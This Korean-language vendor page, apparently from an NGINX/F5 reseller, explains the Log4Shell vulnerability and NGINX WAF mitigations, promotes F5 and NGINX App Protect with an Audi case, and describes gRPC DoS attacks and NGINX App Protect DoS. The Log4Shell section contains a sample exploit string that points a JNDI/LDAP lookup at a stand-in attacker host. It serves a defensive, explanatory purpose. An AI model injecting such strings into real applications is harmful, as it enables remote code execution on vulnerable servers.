2021년 12월 10일 금요일은 전 세계의 많은 IT 종사자들이 기억할 날입니다. Java 애플리케이션의 인기 있는 로깅 라이브러리인 log4j 에서 매우 중요한 제로데이 취약점이 발견된 날입니다. 이 익스플로잇에 "Log4Shell"이라는 이름이 빠르게 생겨났고, 모든 규모의 회사가 완화 전략을 구현하기 위해 서둘렀습니다. 그 후 패치 마라톤이 이어졌고, 글을 쓰는 시점에는 아직 진행 중입니다. NGINX와 F5는 위협을 분석하였고, 이 게시물에서는 애플리케이션을 보호하기 위한 다양한 완화 옵션을 제공합니다.
Log4Shell이란?
log4j 라이브러리의 버전 2.15 및 이전 버전은 CVE-2021-44228 에 설명된 원격 코드 실행(RCE) 취약성에 취약합니다. (log4j의 버전 2.16 은 취약성을 패치합니다.) 이 취약성을 악용한 것에는 Log4Shell이라는 이름이 붙었습니다. 하지만 이 취약성은 무엇이고 왜 그렇게 중요한 것일까요? CVE에 설명된 대로 Apache log4j Java 라이브러리는 입력을 제대로 검증하지 않습니다.
log4j 라이브러리와 Java 런타임의 Java Naming and Directory Interface(JNDI) 기능을 사용하면 원격 조회를 수행하여 LDAP의 사용자 이름이나 DNS의 IP 주소와 같은 외부 소스에서 데이터를 검색하여 로그 항목에 포함할 수 있습니다. 불행히도 원격 공격자는 JNDI를 하이재킹하여 자신이 작성한 Java 코드를 실행할 수 있습니다. 다음 다이어그램은 공격을 보여줍니다.
출처: 스위스 정부 컴퓨터 비상 대응팀
취약한 대상을 악용하려면 공격자는 애플리케이션 코드를 속여 . 와 같은 문자열을 포함하는 로그 항목을 작성해야 합니다 ${jndi:ldap://evil.xa/x}. 흥미로운 질문은 문자열을 어디에 넣어서 로그 메시지에 들어가게 할 것인가입니다.
많은 애플리케이션에서 로깅은 필수적이며, HTTP 헤더(예: User-Agent, X-Forwarded-ForURI, 요청 본문)를 포함하여 모든 수신 요청에 대한 다양한 정보가 로깅됩니다. 공격 벡터는 많고 문자열이 log4j로 로깅되는 한 애플리케이션을 악용할 수 있습니다.
NGINX가 이 취약점에 영향을 받나요?
아니요. NGINX 자체는 C로 작성되었고 Java나 Java 기반 라이브러리를 사용하지 않기 때문에 이 익스플로잇에 취약하지 않습니다. 모든 F5 및 NGINX 제품에 대한 CVE-2021-44228 에 대한 공식 대응은 AskF5 Knowledge Base의 문서 K19026212를 참조하세요 .
NGINX는 익스플로잇을 완화하는 데 어떻게 도움이 되나요?
위에서 언급했듯이, 공격자는 HTTP 요청의 어딘가에 타겟 애플리케이션에 익스플로잇 문자열을 보내야 합니다. NGINX는 들어오는 요청을 스캔하여 침해 징후(IOC)를 확인하고 차단하기 위한 여러 도구를 제공합니다.
악성 요청을 차단하는 가장 효율적인 방법은 웹 애플리케이션 방화벽(WAF)을 사용하는 것입니다. 요청 데이터를 미리 컴파일된 규칙 세트와 비교하여 들어오는 모든 요청에서 CVE-2021-44228 의 징후를 스캔 합니다. 그러나 제로데이 익스플로잇 이후 WAF 규칙을 업데이트하는 것은 군비 경쟁과 같습니다. 주어진 익스플로잇에 대한 WAF 규칙이 사용 가능하자마자 공격자는 WAF를 우회할 수 있는 기술과 패턴을 찾습니다. WAF 규칙을 최신 상태로 유지하세요.
NGINX ModSecurity WAF
ModSecurity 는 오픈 소스 WAF이며, NGINX Plus용 NGINX ModSecurity WAF 모듈인 NGINX에서 상용 제품으로도 제공됩니다. OWASP ModSecurity Core Rule Set (CRS)에는 Log4Shell을 완화할 수 있는 기존 규칙(932130)이 포함되어 있습니다. 이 솔루션과 보다 고급 보호에 대한 자세한 내용은 CRS 블로그를 참조하세요 .
[ 편집자 - NGINX ModSecurity WAF는 2022년 4월 1 일부로 공식적으로 판매 종료 되었으며 2024년 3월 31일부터 수명 종료 로 전환됩니다 . 자세한 내용은 블로그에서 F5 NGINX ModSecurity WAF가 수명 종료로 전환 중입니다<.htmla>를 참조하세요 .]
NGINX 앱 보호 WAF
NGINX App Protect WAF는 최신 앱 보안 솔루션입니다. 위협과 알려진 WAF 우회에 대한 지속적인 조사를 바탕으로, Log4Shell 공격을 효과적으로 탐지하기 위해 Server Side Code Injection Signature Set을 새로운 규칙으로 업데이트했습니다. 자세한 내용은 AskF5 Knowledge Base를 참조하세요 .
NGINX 자바스크립트 모듈
NGINX와 NGINX Plus는 많은 Java 기반 애플리케이션 앞에서 리버스 프록시로 널리 배포됩니다. WAF에 액세스할 수 없는 사용자와 고객을 위해 NGINX JavaScript 모듈 (njs)을 사용하는 스크립트를 만들었습니다. 이 스크립트는 들어오는 요청에서 HTTP 헤더, URI 및 요청 본문을 스캔하여 알려진 IOC 문자열과 정규 표현식을 사용하여 입력 데이터를 일치시키고 악성 요청을 차단합니다. njs 스크립트는 GitHub 에서 사용할 수 있습니다 . njs 모듈 설치에 대한 지침은 NGINX Plus 관리자 가이드를 참조하세요 .
요약
Log4Shell에 대한 가장 효과적인 솔루션은 JDNI를 비활성화하는 log4j 버전 2.16 이상으로 애플리케이션 코드를 패치하는 것입니다. 즉시 가능하지 않은 경우, 패치를 적용할 시간이 있을 때까지 WAF가 위협을 효과적으로 완화할 수 있습니다. 아직 WAF가 없는 경우, njs 스크립트를 사용하여 위협에 대한 특정 보호 기능을 구현할 수 있습니다. 아래 리소스를 사용하여 자세히 알아보고 애플리케이션에 가장 적합한 보호 기능을 선택하세요.
위 내용과 같이 NGINX Plus / NGINX App Protect 를 활용하여 보안취약점 완화가 필요하시면 하단의 전문가에게 상담받기 버튼을 클릭해주세요
세계에서 가장 성공적인 프리미엄 자동차 제조업체 중 하나인 Audi Group은 애플리케이션 보안 솔루션을 선택할 때 성능과 안정성의 엄격한 기준을 충족하는지 확인하는 데 많은 주의를 기울입니다. 최근 Audi는 최신 애플리케이션 개발을 위한 Kubernetes 기반 플랫폼을 보호하기 위해 F5 NGINX App Protect WAF를 선택했습니다. 이 선택은 F5와 NGINX가 어떻게 디지털 전환 여정에서 고객을 지원하는지를 잘 보여주는 사례입니다.
NGINX App Protect는 F5가 자랑하는 업계 최고 수준의 보안 전문 지식을 최신 애플리케이션 도구에 통합한 결과물입니다. F5의 Advanced Web Application Firewall (WAF) 보안 엔진은 수십 년 동안 BIG-IP에서 검증을 거쳐 사용된 기술로, 이제 NGINX로 이식되어 더욱 뛰어난 성능과 유연성을 제공합니다. NGINX는 뛰어난 성능, 유연한 프로그래밍 가능성, 그리고 다양한 환경에서의 손쉬운 배포 덕분에 현대적인 애플리케이션 제공에 이상적인 플랫폼으로 자리잡고 있습니다.
Audi는 BIG-IP와 NGINX를 모두 활용하고 있으며, 이를 통해 다양한 환경에 맞는 보안 솔루션을 제공하고 있습니다. 공통 보안 엔진을 활용함으로써 Audi는 OWASP Top 10을 포함한 다양한 고급 위협으로부터 자사의 전체 인프라를 철저히 보호할 수 있습니다. 또한, Audi의 DevOps 및 SecOps 팀은 F5의 강력한 지원과 원활하게 협업하며, 이를 통해 안전하고 효율적인 운영을 보장하고 있습니다.
F5는 2019년에 NGINX를 인수하면서, 애플리케이션 제공 환경에서 발생하는 변화에 대응하고, 최신 애플리케이션의 요구에 부응하기 위해 지속적으로 혁신하고 있습니다. NGINX App Protect는 F5와 NGINX의 시너지 효과가 극대화된 첫 번째 사례로, 보안 포트폴리오의 강화를 통해 현대 애플리케이션 환경에서 중요한 역할을 하고 있습니다. 앞으로 이 시너지를 더욱 발전시키고, 더욱 강력한 보안 솔루션을 제공할 것입니다.
NGINX가 F5를 더 좋게 만드는 방법
2010년대 중반, F5는 모던 애플리케이션 환경에서 지속적인 성공을 위해 제품 포트폴리오를 확장해야 한다는 점을 인식했습니다. 오늘날, 그 변화는 빠르게 가속화되고 있으며, 이는 기업들이 최신 애플리케이션 배포 및 아키텍처로 이동하는 과정에서 나타나는 주요 트렌드입니다.
Kubernetes : 기업들이 Kubernetes를 채택함에 따라, 클라우드 네이티브 환경에서 애플리케이션을 관리하고 배포하는 방식이 근본적으로 변화하고 있습니다. Kubernetes는 컨테이너화된 마이크로서비스를 관리하는 데 필수적인 플랫폼이 되었고, 앞으로 2~3년 내에 인프라 관리에서 중요한 역할을 계속 확장할 것으로 예상됩니다.
DevSecOps : 기업들은 보안을 개발 프로세스에 통합하려는 노력의 일환으로 DevSecOps 문화를 채택하고 있습니다. 이 접근법은 개발자들이 보안을 처음부터 염두에 두고 애플리케이션을 구축하도록 유도하며, 보안의 시프트 레프트(Shift Left) 개념을 실현합니다.
오픈 소스 선호: 개발자들은 오픈 소스 소프트웨어를 선호하며, 이는 개발 및 운영 효율성을 높이는 중요한 요소로 자리 잡고 있습니다.
오픈 소스의 유연성, 커스터마이징 가능성, 그리고 커뮤니티 기반의 발전이 주요 요인입니다.
기업이 최신 애플리케이션 배포 및 아키텍처로 이동하면서 애플리케이션 보안도 변화하고 있습니다.
기업들이 마이크로서비스와 Kubernetes를 채택하면서 애플리케이션 보안도 과거의 인프라 공유 서비스 모델에서 벗어나고 있습니다. 보안 도구는 이제 제공 프로세스에 완전히 통합되었고, DevSecOps와 함께 개발자와 보안이 더 밀접하게 협력하는 환경이 형성되었습니다. 2021년 Kubernetes 도입 보고서에 따르면, IT 전문가의 89%는 Kubernetes의 도입과 기능이 계속해서 증가하고 있으며, 향후 2~3년 동안 인프라 관리에서 중요한 역할을 할 것으로 예상하고 있습니다.
BIG-IP와 NGINX는 서로 다른 환경에 적합한 애플리케이션 제공 솔루션을 제공합니다.
BIG-IP는 모든 애플리케이션 유형을 지원하지만, 고도로 분산되고 동적인 애플리케이션에는 상대적으로 적합하지 않습니다. 특히, DevSecOps가 보안을 '시프트 레프트'하고, 개발자들이 빠르게 새롭고 업데이트된 소프트웨어를 배포하는 환경에서는, 더 작은 입지의 솔루션이 필요합니다. F5는 NGINX App Protect 및 기타 NGINX 제품을 통해 이러한 요구를 충족시키고 있으며, 오픈 소스 기술을 선호하는 현대 앱 개발자들에게 적합한 솔루션을 제공합니다.
F5는 NGINX App Protect와 같은 제품을 통해 DevSecOps 환경에 최적화된 보안 솔루션을 제공합니다.
NGINX는 오픈 소스 기술의 뿌리를 갖고 있으며, 앱 개발 및 마이크로서비스 아키텍처에 커뮤니티 중심의 사고방식을 내세운 제품을 제공합니다. F5는 이를 통해 전통적인 제품 문화와 오픈 소스를 통합하려는 노력을 계속하고 있습니다. NGINX의 현대적인 모듈형 아키텍처는 F5 보안 기술을 쉽게 통합할 수 있게 해주며, Kubernetes와 같은 최신 환경에서도 뛰어난 보안 성능을 발휘합니다.
NGINX와 F5가 협력하여 애플리케이션 보안을 개선하는 방법
F5의 Advanced WAF는 기존 애플리케이션에 대해 세부적인 제어를 원하고, 자체 관리가 필요한 보안 중심 조직에 적합하지만, 마이크로서비스 아키텍처와 같은 최신 환경에는 적합하지 않았습니다. 이에 F5는 NGINX를 인수한 후, 최신 애플리케이션 환경에 맞는 고성능, 경량 보안 솔루션인 NGINX App Protect를 출시했습니다. 이 제품은 마이크로서비스 아키텍처와 클라우드 및 컨테이너 환경에 최적화되었으며, 저지연, 고성능, 보안 우수성을 제공하는 새로운 벤치마크를 설정했습니다.
F5가 NGINX를 개선하는 데 어떻게 도움이 되는가
F5 Advanced WAF는 기존 애플리케이션에 대해 자체 관리 및 세부적인 제어를 원하는 보안 중심의 조직에 최적화된 솔루션입니다. 이 WAF 및 DoS 보안 엔진은 오랫동안 BIG-IP의 모듈로 제공되어 왔으나, 마이크로서비스 아키텍처와 같은 경량화된 환경에는 적합하지 않았습니다. 반면, NGINX 고객들은 대기 시간을 늘리지 않으면서 Advanced WAF의 풍부한 기능 세트를 활용할 수 있는 보안 솔루션을 찾는 데 어려움을 겪었습니다.
F5가 NGINX를 인수한 이후, 최신 애플리케이션 아키텍처에 최적화된 고성능, 경량화된 보안 솔루션을 제공하는 것을 최우선 목표로 삼았으며, 그 결과 NGINX App Protect가 탄생하게 되었습니다. 이 솔루션은 DevOps와 DevSecOps 팀의 요구를 충족시킬 수 있도록 설계되었으며, 2020년 출시 이후 저지연, 고성능, 그리고 바이패스 저항성에 대한 새로운 벤치마크를 설정하며 업계의 주목을 받았습니다.
Advanced WAF의 기능이 NGINX에 통합되면서, 기업은 다음과 같은 주요 이점을 누릴 수 있게 되었습니다:
NGINX App Protect WAF는 작은 공간에서도 고성능을 제공하며, 특히 마이크로서비스 아키텍처, 클라우드 및 컨테이너 환경에 최적화된 보안 솔루션입니다. 또한, NGINX App Protect DoS는 감지하기 어려운 Layer 7 공격에 대한 강력한 방어 기능을 제공하여 애플리케이션의 보안을 한층 강화합니다.
F5는 Right Shift 전략을 채택하는 기업에 대해 실전에서 검증된 뛰어난 애플리케이션 보안을 CI/CD 파이프라인에 통합하여, 빠르고 빈번한 릴리스의 내재적 위험을 효과적으로 줄이는 방법을 제공합니다. 이를 통해 기업은 보안을 개발 과정에 자연스럽게 통합하고, 애플리케이션의 보안 수준을 지속적으로 유지할 수 있습니다.
특히, F5 NGINX Controller App Security 애드온을 사용하면 AppDev 및 DevOps 팀은 기업 보안 요구 사항을 준수하면서도 셀프 서비스 방식으로 개발 파이프라인에 WAF 보호를 구현할 수 있습니다. 또한, NGINX App Protect Policy Converter를 활용하면, BIG-IP와 NGINX 모두에 일관된 보안 정책을 적용할 수 있어, 다양한 배포 환경에서 보안 관리를 더욱 효율적으로 수행할 수 있습니다. 이를 통해 F5는 기업들이 애플리케이션 보안을 원활하게 통합하고, 변화하는 환경 속에서도 일관된 보안을 제공하는 데 필요한 솔루션을 제공합니다.
NGINX App Protect Policy Converter를 사용하여 모든 BIG‑IP 및 NGINX 배포 환경에 일관된 정책을 적용할 수도 있습니다 .
머신 러닝 및 휴대용 정책을 통한 거버넌스 및 관찰성 개선
물론 기술은 끊임없이 발전하고 있으며, F5와 NGINX는 앞으로도 혁신을 계속할 계획입니다.
F5의 "적응형 애플리케이션" 비전은 포괄적인 보안을 약속합니다.
F5의 "적응형 애플리케이션" 비전은 보안이 점점 더 복잡해지는 현대 위협 환경에서 애플리케이션이 스스로 변화에 적응하고 위협을 피하는 능력을 갖추도록 만드는 것입니다. 이를 통해 F5는 고객이 안전하게 현대화된 경험을 제공할 수 있도록 지원하는 새로운 시장으로 나아가고 있습니다. 이상적으로는 애플리케이션 서비스가 수요에 따라 독립적으로 확장되며, 이러한 서비스들이 진화하는 보안 위협에 맞춰 자동으로 조정될 수 있어야 합니다. F5는 일관된 API 계층을 통해 애플리케이션을 관리하고, 애플리케이션이 스스로 보안 위협에 대응하고, 변화하는 환경에 적응할 수 있도록 돕고 있습니다. 이러한 비전은 애플리케이션의 보안과 관리가 자동화되고, 동적으로 확장되며, 빠르게 진화하는 위협에 대응하는 능력을 강화하는 방향으로 진화하고 있습니다.
Shape 및 Threat Stack과 같은 인수는 ML 및 관찰성으로 F5를 강화합니다.
F5는 Shape Security와 Threat Stack을 인수하여 애플리케이션 보안을 강화하고 있습니다. Shape는 온라인 사기 및 남용 방지 분야의 선두주자로, Threat Stack은 클라우드 및 컨테이너 기반 관찰 솔루션을 제공하는 기업입니다. 두 기술을 통합함으로써 F5는 사전 위험 식별, 실시간 위협 완화, 향상된 가시성을 제공하는 종단 간 애플리케이션 보안 솔루션을 개발하고 있습니다. 이와 같은 통합 기술은 특히 머신 러닝(ML) 기반의 보안 프로젝트로 강화되고 있습니다.
하나의 WAF 엔진으로 일관된 보안 제공
F5는 고객이 기존의 온프레미스 환경에서 컨테이너화 및 클라우드 환경으로 마이그레이션하는 과정에서 일관된 보안 정책을 유지할 수 있도록 돕습니다. F5 Advanced WAF와 NGINX App Protect는 공통의 WAF 기술을 사용하여, 애플리케이션 인프라 전반에 걸쳐 표준화된 보안 정책을 유지할 수 있도록 지원합니다. 이러한 공유 선언적 API는 WAF 제품 간 이식성을 보장하며, 애플리케이션과 아키텍처의 요구 사항에 맞는 폼 팩터에서 WAF 기능을 활성화하여, 언제 어디서나 강력한 보안을 제공합니다.
F5 NGINX의 강점
F5 NGINX는 고성능, 경량화된 보안 솔루션, 그리고 민첩하고 가벼운 보안을 제공합니다. NGINX는 작은 설치 공간에서도 우수한 보안 성능을 발휘하며, 특히 마이크로서비스와 클라우드 환경에서 최적화된 보안 솔루션을 제공합니다. 또한, F5는 시프트 레프트(Shift Left)와 복잡한 보호가 필요한 기업에 맞춘 검증된 기술을 통해, 애플리케이션 보안을 효과적으로 지원합니다.
지금 F5 NGINX를 시작하세요
F5 NGINX는 다양한 요구 사항에 맞는 보안 솔루션을 제공하며, 최신 정보를 얻고 싶다면 신뢰할 수 있는 기술 고문과 협력하여 상업용 보안 솔루션에 대한 30일 무료 평가판을 시작할 수 있습니다. 이를 통해 F5의 강력하고 혁신적인 보안 기술을 체험할 수 있으며, 지속적으로 간소화되고 개선된 환경을 통해 보안 관리의 효율성을 높일 수 있습니다. F5 NGINX는 커뮤니티 중심으로 연결 상태를 유지하며, 보안과 애플리케이션 개발의 복잡성을 해결하고, 기업의 디지털 전환을 안전하게 지원하는 데 전념하고 있습니다.
위 내용과 같이 NGINX Plus 를 활용하여 Demo 가 필요하시면 하단의 전문가에게 상담받기 버튼을 클릭해주세요
기업의 상품과 서비스에 대한 고객 수요는 주요 어플리케이션의 확장성과 신속한 혁신의 중요성을 강조하도록 했습니다. 이로 인해 많은 조직이 모놀리식에서 클라우드 네이티브 아키텍처로의 전환을 가속화하게 되었습니다. 최근 F5 보고서인 The State of Application Strategy 2021 에 따르면 , 애플리케이션을 현대화하는 조직의 수는 작년 한 해 동안만 133% 증가했습니다.
클라우드 지원 애플리케이션은 모듈식, 분산, 배포 및 자동화된 방식으로 설계됩니다. 기존 모놀리식 애플리케이션을 간단히 리프트 앤 시프트하는 것도 가능하지만, 그렇게 하면 비용이나 유연성 측면에서 이점이 없습니다. 클라우드 컴퓨팅 서비스가 제공하는 분산 모델의 이점을 얻는 가장 좋은 방법은 모듈식으로 생각하는 것입니다. 마이크로서비스를 도입하는 것입니다 .
마이크로서비스는 개발자가 서로 구조적으로 독립적이고 기본 플랫폼에 독립적인 일련의 가벼운 애플리케이션 서비스로 애플리케이션을 빌드할 수 있도록 하는 아키텍처 방식입니다. 각 마이크로서비스는 고유한 프로세스로 실행되고 잘 정의되고 표준화된 API를 통해 다른 서비스와 통신합니다 . 각 서비스는 소규모 독립 팀에서 개발하고 배포할 수 있습니다. 이러한 유연성은 조직에 성능, 비용, 확장성 및 빠르게 혁신할 수 있는 능력 측면에서 더 큰 이점을 제공합니다.
XML 문서의 한계
개발자는 항상 효율성을 높이고 애플리케이션 신속히 배포 처리를 할 수 있는 방법을 찾고 있습니다. API는 소프트웨어 간 통신을 가능하게 하고 개발을 위한 빌딩 블록을 제공합니다. HTTP를 사용하여 서버에서 데이터를 요청하기 위해 웹 개발자는 원래 SOAP를 사용했는데, 이는 XML 문서 에서 요청 세부 정보를 보내는 방식입니다.
그러나 XML 문서는 일반적으로 크고, 상당한 오버헤드가 필요하며, 개발하는 데 오랜 시간이 걸립니다.
RESful API
그 이후로 많은 개발자가 REST 로 옮겼습니다 . REST는 상태 없는 안정적인 웹 API를 만드는 아키텍처 스타일이자 가이드라인 세트입니다. 이러한 가이드라인을 따르는 웹 API를 RESTful이라고 합니다. RESTful 웹 API는 일반적으로 URL 인코딩된 매개변수를 통해 리소스에 액세스하고 JSON 또는 XML을 사용하여 데이터를 전송하는 HTTP 메서드를 기반으로 합니다.
RESTful API를 사용하면 애플리케이션을 더 빨리 개발하고 오버헤드를 줄일 수 있습니다.
기술의 발전은 애플리케이션 디자인을 발전시키는 새로운 기회를 가져다줍니다. 2015년에 Google은 모든 환경에서 실행할 수 있는 최신 오픈 소스 RPC 프레임워크인 Google Remote Procedure Call( gRPC )을 개발했습니다. REST는 HTTP 1.1 프로토콜을 기반으로 하고 요청-응답 통신 모델을 사용하는 반면, gRPC는 전송을 위해 HTTP/2를 사용 하고 클라이언트-응답 통신 모델을 사용하며, 이는 서비스와 데이터를 설명하는 데 사용되는 인터페이스 설명 언어(IDL)인 프로토콜 버퍼 (protobuf)에 구현됩니다.Protobuf는 구조화된 데이터를 직렬화하는 데 사용되며 단순성과 성능을 위해 설계되었습니다. gRPC는 protobuf의 효율성과 HTTP/2 사용으로 인해 데이터를 수신할 때는 REST보다 약 7배, 데이터를 전송할 때는 10배 더 빠릅니다. gRPC는 또한 스트리밍 통신을 허용하고 여러 요청을 동시에 처리합니다.
RESTful API 대안 : gRPC를 사용하여 마이크로서비스 구축
개발자들은 gRPC를 사용하여 마이크로서비스를 구축하는 것이 RESTful API를 사용하는 것에 비해 매력적인 대안이라고 생각합니다. gRPC는 낮은 대기 시간, 여러 언어 지원, 컴팩트한 데이터 표현, 실시간 스트리밍 등의 장점을 가지고 있기 때문에 마이크로서비스 간 통신과 저전력, 저대역폭 네트워크에서 통신하는 데 특히 적합합니다. gRPC는 클라이언트와 서버 모두에서 언어에 대한 독립성과 안정성 및 확장성을 갖추고 있어 새로운 서비스를 빠르고 효율적으로 구축하기 쉽기 때문에 인기가 높아지고 있습니다.
gRPC 프로토콜의 개방적 특성은 여러 가지 긍정적인 이점을 제공하지만, 이 표준은 DoS 공격이 애플리케이션에 미칠 수 있는 영향으로부터 어떠한 보호도 제공하지 않습니다. gRPC 애플리케이션은 여전히 기존 애플리케이션과 동일한 유형의 DoS 공격을 받을 수 있습니다.
gRPC 앱에서 DoS 공격을 식별하는 것의 어려움
마이크로서비스와 컨테이너는 개발자에게 고객에게 새로운 기능을 빠르게 출시할 수 있는 더 많은 자유와 자율성을 제공하지만, 새로운 취약점과 악용 기회도 제공합니다. 인기를 얻고 있는 사이버 공격 유형 중 하나는 서비스 거부(DoS) 공격으로, 최근 몇 년 동안 gRPC 요청의 부적절한 처리로 인해 발생하는 일반적인 취약점 및 노출(CVE)이 증가하는 원인이 되었습니다. 애플리케이션과 API에 대한 7계층 DoS 공격은 최근 몇 년 동안 20%나 급증 했고 , 영향의 규모와 심각도는 거의 200%나 증가했습니다.
DoS 공격은 일반적으로 합법적인 것처럼 보이는 대량의 트래픽을 보내 애플리케이션의 리소스를 고갈시키고 응답하지 않게 만듭니다. 일반적인 DoS 공격에서 악의적인 행위자가 웹사이트나 애플리케이션에 너무 많은 트래픽을 범람시켜 서버가 모든 요청으로 인해 과부하가 걸리고, 서버가 멈추거나 충돌하게 만듭니다. DoS 공격은 머신이나 네트워크를 느리게 하거나 완전히 비활성화하여 이를 필요로 하는 사람들이 액세스할 수 없게 하도록 설계되었습니다. 공격이 완화될 때까지 머신이나 네트워크에 의존하는 서비스(예: 전자 상거래 사이트, 이메일, 온라인 계정)는 사용할 수 없습니다.
점점 더 많은 DoS 공격이 애플리케이션 계층(계층 7)에서 공격하기 위해 HTTP 및 HTTP/2 요청 또는 API 호출을 사용하는 것을 보았습니다. 이는 주로 계층 7 공격이 최신 애플리케이션 아키텍처를 방어하도록 설계되지 않은 기존 방어를 우회할 수 있기 때문입니다. 공격자가 네트워크 계층(계층 3 및 4)에서 기존 볼륨 공격에서 계층 7 공격으로 전환한 이유는 무엇일까요? 그들은 저항이 가장 적은 경로를 따르고 있습니다. 인프라 엔지니어는 수년 동안 계층 3 및 계층 4 공격에 대한 효과적인 방어 메커니즘을 구축하여 차단하기 쉽고 성공 가능성이 낮아졌습니다. 이로 인해 이러한 공격을 시작하는 데 비용과 시간 측면에서 비용이 더 많이 들기 때문에 공격자는 이동했습니다.
gRPC 애플리케이션에서 DoS 공격을 감지하는 것은 매우 어렵습니다. 특히 확장이 자동으로 수행되는 최신 환경에서는 더욱 그렇습니다. gRPC 서비스는 대량 트래픽을 처리하도록 설계되지 않았을 수 있으므로 공격자가 쉽게 다운시킬 수 있습니다. gRPC 서비스는 .와 같은 도구를 사용한 HTTP/2 플러드 공격에도 취약합니다. h2load또한 공격자가 protobuf 사양에 적절하게 선언된 데이터 정의를 악용할 때 gRPC 서비스가 쉽게 타깃이 될 수 있습니다.
gRPC 서비스의 전형적인, 의도치 않은 오용은 스크립트의 버그로 인해 서비스에 대한 과도한 요청이 생성되는 경우입니다. 예를 들어, 자동화 스크립트가 특정 조건이 발생할 때 API 호출을 발행한다고 가정해 보겠습니다. 설계자는 2초마다 발생할 것으로 예상합니다. 그러나 조건 정의의 실수로 인해 스크립트는 2밀리초마다 호출을 발행하여 백엔드 gRPC 서비스에 예상치 못한 부담을 줍니다.
gRPC 애플리케이션에 대한 DoS 공격의 다른 예는 다음과 같습니다.
NGINX App Protect DoS를 사용하여 동적 사용자 및 사이트 동작 분석의 힘을 최대한 활용하여 gRPC DoS 공격을 완화하세요
오늘날의 DoS 공격으로부터 애플리케이션을 보호하려면 현대적인 접근 방식이 필요합니다. 복잡하고 적응적인 애플리케이션을 보호하려면 사용자 및 사이트 동작에 따라 매우 정확하고 역동적인 보호를 제공하고 보안 팀의 부담을 덜어주면서 신속한 애플리케이션 개발과 경쟁 우위를 지원하는 솔루션이 필요합니다.
F5 NGINX App Protect DoS는 F5의 시장 선도적 WAF 및 행동 보호에 기반한 NGINX Plus용 경량 소프트웨어 모듈입니다. 가장 정교한 Layer 7 DoS 공격도 방어하도록 설계된 NGINX App Protect DoS는 고유한 알고리즘을 사용하여 적응형 머신 러닝과 자동화된 보호를 제공하는 동적 통계 모델을 만듭니다. 지속적으로 완화 효과를 측정하고 변화하는 사용자 및 사이트 동작에 적응하며 사전 예방적 서버 상태 검사를 수행합니다. 자세한 내용은 블로그에서 NGINX App Protect 서비스 거부가 진화하는 공격 환경에 적응하는 방식을 참조하세요.
기존 HTTP 앱과 최신 HTTP/2 앱 헤더에 대한 동작 분석이 제공됩니다. NGINX App Protect DoS는 서명과 악의적 행위자 식별을 기반으로 공격을 완화합니다. 초기 서명 완화 단계에서 NGINX App Protect DoS는 비정상적인 동작과 관련된 속성을 프로파일링하여 이 동작과 일치하는 요청을 앞으로 차단하는 동적 서명을 만듭니다. 공격이 지속되면 NGINX App Protect DoS는 악의적 행위자 완화 단계로 이동합니다.
통계적 이상 탐지를 기반으로 NGINX App Protect DoS는 소스 IP 주소와 TLS 지문으로 악의적인 행위자를 성공적으로 식별하여 이러한 특정 공격 트래픽 패턴을 자동으로 식별하고 완화하는 동적 시그니처를 생성하고 배포할 수 있습니다. 이 접근 방식은 볼륨 임계값을 초과했을 때를 탐지하는 시중의 기존 DoS 솔루션과는 다릅니다. NGINX App Protect DoS는 요청이 완전히 합법적으로 보이고 각 공격자가 평균 합법적 사용자보다 적은 트래픽을 생성할 수도 있는 공격을 차단할 수 있습니다.
다음 Kibana 대시보드는 NGINX App Protect DoS가 gRPC 애플리케이션에 대한 DoS 플러드 공격을 어떻게 빠르고 자동으로 감지하고 완화하는지 보여줍니다.
그림 1: DoS 공격을 겪고 있는 gRPC 애플리케이션
그림 1은 DoS 플러드 공격을 경험하는 gRPC 애플리케이션을 보여줍니다. gRPC의 맥락에서 중요한 지표는 초당 데이터그램(DPS)으로, 초당 메시지 속도에 해당합니다. 이 이미지에서 노란색 곡선은 학습 과정을 나타냅니다. 기준 DPS 예측이 수신 DPS 값(파란색) 으로 수렴 하면 NGINX App Protect가 이 애플리케이션의 "정상적인" 트래픽이 어떤 모습인지 학습한 것입니다. 12:25:00에 DPS가 급격히 상승하면 공격이 시작되었음을 나타냅니다. 빨간색 경보 벨은 NGINX App Protect DoS가 공격이 진행 중이라고 확신하고 완화 단계를 시작하는 시점을 나타냅니다.
그림 2: gRPC DoS 플러드 공격을 저지하기 위한 단계적 완화 접근 방식을 사용하는 NGINX App Protect DoS
그림 2는 단계적 완화 접근 방식을 사용하여 비정상적인 동작을 감지하고 gRPC DoS 플러드 공격을 저지하는 과정에서 NGINX App Protect DoS를 보여줍니다. 빨간색 스파이크는 글로벌 속도 완화 단계 동안 모든 클라이언트에 전송된 HTTP/2 리디렉션 수를 나타냅니다. 보라색 그래프는 요청이 비정상적인 동작을 모델링하는 서명과 일치할 때 특정 클라이언트에 전송된 리디렉션을 나타냅니다. 노란색 그래프는 IP 주소와 TLS 지문으로 식별된 특정 감지된 나쁜 행위자에게 전송된 리디렉션을 나타냅니다.
그림 3: 동적 서명
그림 3은 머신 러닝으로 구동되고 이 gRPC 플러드 공격의 비정상적인 동작과 관련된 속성을 프로파일링하는 NGINX App Protect DoS에서 생성된 동적 시그니처를 보여줍니다. 이 시그니처는 초기 시그니처 완화 단계에서 일치하는 요청을 차단합니다.
그림 4: IP 주소 및 TLS 지문을 통해 악의적인 행위자를 식별하는 NGINX App Protect DoS
그림 4는 공격이 지속될 때 NGINX App Protect DoS가 서명 기반 완화에서 악의적 행위자 완화로 어떻게 전환되는지 보여줍니다. 사용자 동작을 분석하여 NGINX App Protect DoS는 여기에 표시된 소스 IP 주소와 TLS 지문으로 악의적 행위자를 식별했습니다. 비정상적인 동작을 나타내는 특정 서명에 대한 모든 요청을 살펴보는 대신, 여기에서는 특정 공격자에게 서비스가 거부됩니다. 이를 통해 이러한 특정 공격 패턴을 식별하고 자동으로 완화하는 동적 서명을 생성할 수 있습니다.
NGINX App Protect DoS
gRPC API를 사용하면 gRPC 인터페이스를 사용하여 유형 라이브러리(IDL) 파일과 protobuf에 대한 proto 정의 파일에 보안 정책을 설정합니다. 이방식으로 제로터치 보안 정책 솔루션이 제공됩니다. 즉, gRPC 서비스를 공격으로부터 보호하기 위해 protobuf 정의에 의존할 필요가 없습니다. gRPC proto 파일은 CI/CD 파이프라인 의 일부로 자주 사용되어 보호를 자동화하고 전체 CI/CD 파이프라인 통합을 위해 코드로 보안을 활성화하여 보안 및 개발 팀을 정렬합니다. NGINX App Protect DoS는 gRPC 애플리케이션에 보호 기능을 원활하게 통합하여 항상 최신 보안 정책으로 보호되도록 일관된 보안을 보장 합니다 .
